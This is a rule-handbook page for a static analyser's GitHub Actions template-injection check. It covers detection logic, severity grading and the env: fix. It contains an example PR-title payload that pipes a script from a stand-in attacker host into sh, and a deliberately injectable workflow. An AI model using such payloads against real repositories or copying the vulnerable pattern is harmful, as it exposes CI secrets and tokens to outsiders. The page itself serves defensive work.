Skip to main content

SKY-D294 · CI/CD pipelines

GitHub Actions template injection

Critical

The catalog lists CRITICAL, but the detector grades each finding by the text and who can trigger the job: HIGH for free text from an account without write access, MEDIUM for structured text from such an account or free text from an unknown caller, LOW otherwise. It does not currently report CRITICAL.

GitHub Actions replaces every ${{ … }} expression with its value before the step runs. When that value is text someone else wrote, such as a pull request title or an issue comment, and it lands inside a run: script, the text becomes part of the shell command.

Languages
GitHub Actions workflows, composite actions
Quality gate
counted toward the gate limits (full and diff scans)
Finding type
review
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

A pull request titled x"; curl -s https://evil.example/x.sh | sh; echo " runs that command on your runner, with the job's token and secrets. On a pull_request_target or issue_comment workflow, anyone with a GitHub account can do this.

What Skylos flags

.github/workflows/pr-title.yml · YAMLReported on line 13
name: PR titleon:  pull_request_target:    types: [opened, edited, synchronize]permissions:  pull-requests: readjobs:  check-title:    runs-on: ubuntu-latest    steps:      - name: Require a Conventional Commits title        run: |          title="${{ github.event.pull_request.title }}"          if ! echo "$title" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then            echo "::error::PR title must look like 'fix(api): short summary'"            exit 1          fi

What Skylos leaves alone

.github/workflows/pr-title.yml · YAML
name: PR titleon:  pull_request_target:    types: [opened, edited, synchronize]permissions:  pull-requests: readjobs:  check-title:    runs-on: ubuntu-latest    steps:      - name: Require a Conventional Commits title        env:          TITLE: ${{ github.event.pull_request.title }}        run: |          if ! echo "$TITLE" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then            echo "::error::Rename PR #${{ github.event.pull_request.number }}"            exit 1          fi

Why Skylos leaves it alone

The title reaches the script as the environment variable $TITLE, which the shell treats as data, never as code. The one expression left in the script is the pull request number, which GitHub always fills with digits, so nobody can shape it.

How Skylos decides

  1. Reads *.yml and *.yaml files under any .github/workflows folder, and action.yml / action.yaml composite actions.
  2. Looks at the places where text becomes code: a step's run:, a job's container.options and services.*.options, composite-action steps, and code inputs of 16 known actions, such as actions/github-script's script.
  3. Parses each ${{ … }} in those places. Only values that end up in the text count: a comparison such as == 'main' or a contains() result does not.
  4. Decides whether someone else can shape the value. Following GitHub's hardening guide, a github.event field is attacker text only when its name ends with body, default_branch, email, head_ref, label, message, name, page_name, ref or title (and head_branch, a branch name). Logins, node ids, SHAs, URLs and numbers such as pull_request.number cannot carry shell syntax and do not count, nor does the base side of a pull request. github.head_ref counts; secrets.*, vars.*, github.actor and github.ref_name do not.
  5. Follows indirect values to where they are set: env.* through step, job and workflow env:, matrix.*, steps.<id>.outputs.* back to the line that writes $GITHUB_OUTPUT, needs.<job>.outputs.*, and inputs.*.
  6. Grades severity by who can start the job. issues, issue_comment, pull_request_target, review and discussion events, and workflow_run reachable from a fork are open to outsiders, for the event types an outsider can cause, unless the job's if: keeps them out or a job it needs checks the actor's permission. A permission check in the same job does not count. pull_request and push give LOW. An expression whose every value only maintainers set (workflow_dispatch inputs, release and repository_dispatch payloads) or that comes from a caller not visible here is kept as hygiene advice: it stays in the report but is not listed by default.
  7. Reports one finding per expression, on the line where it appears.

How to fix it

Pass the value through env: and use the quoted shell variable in the script. The expression is then expanded into YAML data, not into code.

.github/workflows/pr-title.yml · YAML · the fix, against the flagged file
name: PR titleon:  pull_request_target:    types: [opened, edited, synchronize]permissions:  pull-requests: readjobs:  check-title:    runs-on: ubuntu-latest    steps:      - name: Require a Conventional Commits titleAdded:         env:Added:           TITLE: ${{ github.event.pull_request.title }}        run: |Removed:           title="${{ github.event.pull_request.title }}"Removed:           if ! echo "$title" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; thenAdded:           if ! echo "$TITLE" | grep -Eq '^(feat|fix|docs|chore)(\(.+\))?: '; then            echo "::error::PR title must look like 'fix(api): short summary'"            exit 1          fi

When it can be wrong

  • Workflows triggered by pull_request or push still get LOW findings: the text comes from someone with write access, or from a fork's pull request, which runs with a read-only token and no secrets.
  • A value set through $GITHUB_ENV cannot be traced and is reported as LOW; inputs of composite actions, and string inputs of reusable workflows without a caller in the repository, are MEDIUM.
  • The flagged example also gets SKY-D290, a separate and real finding about its pull_request_target trigger. Moving the title to env: clears both.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • In YAML, write exactly one rule per marker, on the reported line or on the line directly above it. It may also be a shell comment inside the run: block.

    YAML
    run: |  # skylos: ignore[SKY-D294] value is validated by the previous step  echo "${{ steps.check.outputs.slug }}"
  • [tool.skylos] ignore = ["SKY-D294"] turns the rule off for the whole project. A baseline also works, but it records the absolute file path, so it does not match in a checkout at another location.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.